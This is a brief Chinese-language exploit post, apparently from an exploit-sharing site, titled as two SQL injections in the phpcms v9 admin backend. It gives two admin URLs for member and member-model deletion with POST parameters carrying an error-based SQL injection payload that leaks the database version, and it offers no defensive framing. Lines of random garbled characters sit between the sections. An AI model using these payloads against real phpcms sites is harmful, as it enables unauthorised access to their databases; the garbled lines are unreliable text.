phpcms两处后台的SQL注入

admin

(一)：
8 l8 Z9 v/ q2 q" N. M/ {

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

/ L, x* N2 A$ @% h7 B/ r9 h
1 e  e. b+ o5 E5 E
/ Z: a% n* P+ [0 \& _. r. c: l" V

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)